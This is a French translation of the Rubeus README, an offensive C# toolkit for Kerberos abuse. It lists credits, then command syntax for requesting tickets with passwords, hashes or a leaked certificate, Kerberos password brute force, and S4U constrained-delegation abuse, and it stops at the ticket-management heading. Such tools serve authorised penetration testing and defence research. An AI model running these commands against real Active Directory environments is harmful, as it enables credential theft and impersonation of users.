
Boîte à outils C# pour l'interaction brute avec Kerberos et son exploitation : requêtes TGT/TGS, abus de délégation S4U, Kerberoasting, AS-REP roasting et collecte de tickets.
Rubeus est une boîte à outils C# pour l'interaction brute avec Kerberos et ses abus. Il est fortement adapté du projet Kekeo de Benjamin Delpy (licence CC BY-NC-SA 4.0) et du projet MakeMeEnterpriseAdmin de Vincent LE TOUX (licence GPL v3.0). Tout le crédit revient à Benjamin et Vincent pour avoir élaboré les composants difficiles de l'armement - sans leur travail préalable, ce projet n'existerait pas.
Charlie Clark et Ceri Coburn ont tous deux apporté des contributions significatives à la base de code de Rubeus. Elad Shamir a contribué un travail essentiel pour la délégation contrainte basée sur les ressources. Leur travail est grandement apprécié !
Rubeus utilise également une bibliothèque C# d'analyse/encodage ASN.1 de Thomas Pornin nommée DDer, publiée sous une licence « de type MIT ». Un immense merci à Thomas pour son code propre et stable !
Le code PKINIT est fortement adapté de l'outil Bruce de @SteveSyfuhs. Bruce a rendu la RFC4556 (PKINIT) beaucoup plus facile à comprendre. Un immense merci à Steve !
La méthode KerberosRequestorSecurityToken.GetRequest pour le Kerberoasting a été contribuée à PowerView (puis intégrée à Rubeus) par @machosec.
@harmj0y est l'auteur principal de cette base de code.
Rubeus est distribué sous la licence BSD 3-Clause.
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.6.4
Demandes et renouvellements de tickets :
Récupérer un TGT basé sur un mot de passe/hash utilisateur, en l'enregistrant éventuellement dans un fichier ou en l'appliquant à la session de connexion actuelle ou à un LUID spécifique :
Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec]
Récupérer un TGT basé sur un mot de passe/hash utilisateur, démarrer un processus /netonly, et appliquer le ticket à la nouvelle session de processus/connexion :
Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/opsec]
Récupérer un TGT à l'aide d'un certificat PCKS12, démarrer un processus /netonly, et appliquer le ticket à la nouvelle session de processus/connexion :
Rubeus.exe asktgt /user:USER /certificate:C:\temp\leaked.pfx </password:STOREPASSWORD> /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap]
Récupérer un TGT à l'aide d'un certificat issu du magasin de clés de l'utilisateur (Smartcard) en spécifiant l'empreinte ou le sujet du certificat, démarrer un processus /netonly, et appliquer le ticket à la nouvelle session de processus/connexion :
Rubeus.exe asktgt /user:USER /certificate:f063e6f4798af085946be6cd9d82ba3999c7ebac /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap]
Récupérer un ticket de service pour un ou plusieurs SPN, en enregistrant ou en appliquant éventuellement le ticket :
Rubeus.exe asktgs </ticket:BASE64 | /ticket:FILE.KIRBI> </service:SPN1,SPN2,...> [/enctype:DES|RC4|AES128|AES256] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/enterprise] [/opsec] </tgs:BASE64 | /tgs:FILE.KIRBI> [/usesvcdomain]
Renouveler un TGT, en appliquant éventuellement le ticket, en l'enregistrant, ou en renouvelant automatiquement le ticket jusqu'à sa limite de renouvellement :
Rubeus.exe renew </ticket:BASE64 | /ticket:FILE.KIRBI> [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/autorenew] [/nowrap]
Effectuer une attaque de force brute de mots de passe basée sur Kerberos :
Rubeus.exe brute </password:PASSWORD | /passwords:PASSWORDS_FILE> [/user:USER | /users:USERS_FILE] [/domain:DOMAIN] [/creduser:DOMAIN\\USER & /credpassword:PASSWORD] [/ou:ORGANIZATION_UNIT] [/dc:DOMAIN_CONTROLLER] [/outfile:RESULT_PASSWORD_FILE] [/noticket] [/verbose] [/nowrap]
Abus de délégation contrainte :
Effectuer un abus de délégation contrainte S4U :
Rubeus.exe s4u </ticket:BASE64 | /ticket:FILE.KIRBI> </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/opsec] [/self]
Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/opsec] [/self] [/bronzebit]
Effectuer un abus de délégation contrainte S4U entre domaines :
Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER /targetdomain:DOMAIN.LOCAL /targetdc:DC.DOMAIN.LOCAL [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/self]
Gestion des tickets :